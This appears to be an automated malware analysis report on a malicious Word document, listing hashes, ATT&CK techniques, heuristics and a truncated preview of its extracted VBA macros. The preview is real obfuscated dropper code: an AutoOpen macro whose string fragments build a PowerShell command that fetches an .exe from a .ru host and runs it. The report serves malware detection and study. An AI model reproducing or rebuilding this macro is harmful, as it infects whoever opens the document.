Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d6937d307f36ef45…

MALICIOUS

Office (OLE)

135.5 KB First seen: 2018-01-23
MD5: 8aa727015c9a83d3a5b68600c4d398ff SHA-1: e475964aafa6e87faf08df886641accdd6daa9ff SHA-256: d6937d307f36ef45a667c644d3bd3f8f238bf50916d39351f30fdf6181b9d3f8
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The file contains a critical OLE_VBA_SHELL heuristic firing, indicating the use of the Shell() function within its VBA macros. The AutoOpen macro is present and likely attempts to execute obfuscated code. The ClamAV detection name 'Img.Dropper.PhishingLure-6443153-0' suggests a phishing lure designed to drop an image-related payload. The VBA script's obfuscated nature and the presence of the Shell() function strongly suggest it's designed to download and execute a secondary malicious payload.

Heuristics 6

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 42906 bytes
SHA-256: 4ae37e7f0cba4972a620ee81417f10b2b13351ceaba55ff5ae8371b7e3e4af86
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "nZADlHDOouvt"
Sub AutoOpen()
On Error Resume Next
bBMOqwGLf = 8 + CDbl(CYjQutXjZmJ) / (vdFJwZuFZ + ChrB(wGMiUWSdqB / ChrW(847) * COFaYufalTiSN - Sgn(342)))
FjIhAjRZC = 8 + CDbl(caDLYBOvwIa) / (OziXfPfoBRnwc + ChrB(NldJkNzhdzVj / ChrW(847) * YXYiKnMU - Sgn(342)))
JwcBBtOiK = 8 + CDbl(EjondRmXMtjWj) / (wIGRdjc + ChrB(PQEmBHiU / ChrW(847) * DSMQzSktGvnb - Sgn(342)))
TnnPaFtnz = 8 + CDbl(bKtTYjq) / (iosHdDWlw + ChrB(VXWnpjvcRXaCp / ChrW(847) * oBrBXjuADqQw - Sgn(342)))
Application.Run "ZozzjCsfMN", cmRJcjTcriABZq
jLKjspJDR = 8 + CDbl(inVKXwSSpc) / (LTbLUNQvUUjXqz + ChrB(RhfltlPOXEjM / ChrW(847) * wikAozYs - Sgn(342)))
jXYbtIwFw = 8 + CDbl(iLnilnEjO) / (EEHnBHwmjjjrar + ChrB(JGKAcTJYnCBU / ChrW(847) * zzvEldoiPk - Sgn(342)))
ZlLJWSjmk = 8 + CDbl(vbjtjlcvfUlzmc) / (lkiGzCDuWkOQJ + ChrB(GGPQYYVRCVzA / ChrW(847) * wvzZwjUkhCfmu - Sgn(342)))
shJIUUSIZ = 8 + CDbl(ViOETUiIG) / (JFwXKPhpBYEkid + ChrB(oHtBfikYidr / ChrW(847) * iAQztYpkmimz - Sgn(342)))
End Sub
Function cmRJcjTcriABZq()
On Error Resume Next
WjTHkHwcj = ("Y4oj7tem(FrGt+rGtZirP+irPYhuasrGt+rGt)rGt+'+'rGt;b'+'rerGt+rGtak;}catch{wri'+'te-horGirP+irPt+rG'+'tst FZY_rGt+rGt.rGt+rGtErGt+rGtxceptiorirP+irP'+'Gt+rGtn.irP+irPMessrGt+rGt'+'age;BCpkHMdnUzKljqX7qDGECC9ErYmaBDksnz")
ktzPaBVK = 8 + CDbl(MRDPTqQvCYW) / (AjqKjOUaR + ChrB(zUcQjPWMCXjk / ChrW(847) * zPaCfcjPwHo - Sgn(342)))
SwFKmTDiS = Mid(WjTHkHwcj, 6, 176)
nWVPKfJ = 8 + CDbl(iJUDjkaNiTimDH) / (ZqVzkPG + ChrB(vJLowiSzNoRBG / ChrW(847) * JWnGXwj - Sgn(342)))
zFCZLYiqNbY = ("MLZGLPt+irP'+'+irPrGt+ FZrGt+i'+'rP+irPrGtYkarapas + YrGt+rG'+'t1i'+'.exeY1i;foreaqh2qMCf6OYnz0dQrtz")
wRYoQzJKhL = 8 + CDbl(PBrdrkLKpOS) / (lsdwYpSHJYHf + ChrB(HSwQNBj / ChrW(847) * vRzUAAZ - Sgn(342)))
GpGIH = Mid(zFCZLYiqNbY, 7, 76)
wdtpCqmJq = 8 + CDbl(EfwwomBsHMuGjS) / (tMYkRMtcMmcpa + ChrB(cYosIEsJiRV / ChrW(847) * GJAHZYdbE - Sgn(342)))
NaRqzbAPZkY = ("44mqmssv4r4geT-vaRIAble '*mDR*').naME[3,11,2]-Join'')qXcvVBBI6")
riYzkoqhZ = 8 + CDbl(kVtpWYFYqu) / (NCLAOdTiVAH + ChrB(abhzHjbkJshd / ChrW(847) * UHNFBqJ - Sgn(342)))
hdiidjC = Mid(NaRqzbAPZkY, 12, 42)
XPZSMZ = 8 + CDbl(GOCBDzWI) / (aXcoSOpawpPJU + ChrB(UhztVFYUKz / ChrW(847) * UMivDlFcTR - Sgn(342)))
EUiLXzjCYzj = ("A3N0f158llwJrGtkrGt+rGirP+irPt-rGt+rGtgrGt+rGtrupp.ru/rGt+rGtBoPc6/ri1U2")
swcOpwqh = 8 + CDbl(BLwVvDqMzH) / (lVkqXnXLYVXoEc + ChrB(PjPEzVE / ChrW(847) * zrNKnnlU - Sgn(342)))
wnYMJ = Mid(EUiLXzjCYzj, 13, 56)
awAmkIqrk = 8 + CDbl(KKSzwcYnZVjEiX) / (tvoHzvKcjPkwJ + ChrB(jYnBbduKDQG / ChrW(847) * QXzYCVTVRszdX - Sgn(342)))
KcznvhiJE = ("iAPwFEAwFZrirP+irPGirP+irPt+rGtYirP+irPhuasrGt+rGt);InrGt+rGtvorGt'+'+rGtke-IdRLmEjjKullIItXk9i4")
YoruLaFW = 8 + CDbl(hBfzSZYh) / (bcQWODi + ChrB(wwbwzYjYbQ / ChrW(847) * LXUXiXEcbMwF - Sgn(342)))
jDiEuI = Mid(KcznvhiJE, 9, 69)
FfrPPdvbo = 8 + CDbl(irzjNFPKt) / (EiAIicw + ChrB(rJoWdGFmwJb / ChrW(847) * IBtLUIa - Sgn(342)))
ijtGjaDot = ("qIhnhjqYQNrGt+rGtnsrGt+rGtadrGt+rGt'+'arGt+rGtsrGt+rirP+irP'+'GtdrGirP+irPt+rGt = nerGt+rGtw-obrGt+rGtject randrGt+rGtom;rGtirP+irP+rGtF2lQdJD")
VLzzZFwS = 8 + CDbl(wzjMujbkOu) / (ZiMHpavzmWjmN + ChrB(HBOTXSG / ChrW(847) * VHnFbjSRfH - Sgn(342)))
COkXttocsF = Mid(ijtGjaDot, 11, 126)
VmVkfUnC = 8 + CDbl(WfbdFSIrf) / (zNKWJmiMQrcl + ChrB(IFTkwPi / ChrW(847) * rcYqXjXJAO - Sgn(342)))
GDfXHsioPIT = ("CjQXXHZCJ7COk6H00Ttch(FZYabrGt+rGtc rGt+rGtin irP+'+'irPFZrGt+rGtYr'+'Gt+rGtbcdrGt+rGt)irP+irP{rGt'+'+rGttrrGt+rGty{rGt+rGtFirP+irPZ'+'YfrrGuu4MmioZ00Clk5ocZ")
ZMOAC = 8 + CDbl(BjVuPcMnFzOzY) / (EwaWNIqCj + ChrB(ZCwmkbHfMujdH / ChrW(847) * zfYwaor - Sgn(342)))
GqqmjjpDC = Mid(GDfXHsioPIT, 19, 122)
LEtSm = 8 + CDbl(izYDjwYC) / (wzhUMia + ChrB(iqinilb / ChrW(847) * UWikrcswPYANj - Sgn(342)))
uwdXtCSRRP = ("985HJGIm8baLNH68ihrGt+rGtuas ='+' rGt+rGtFrGtirP+irP+rGtZrGt+rGtYrGt+rGterGt+rGt
... (truncated)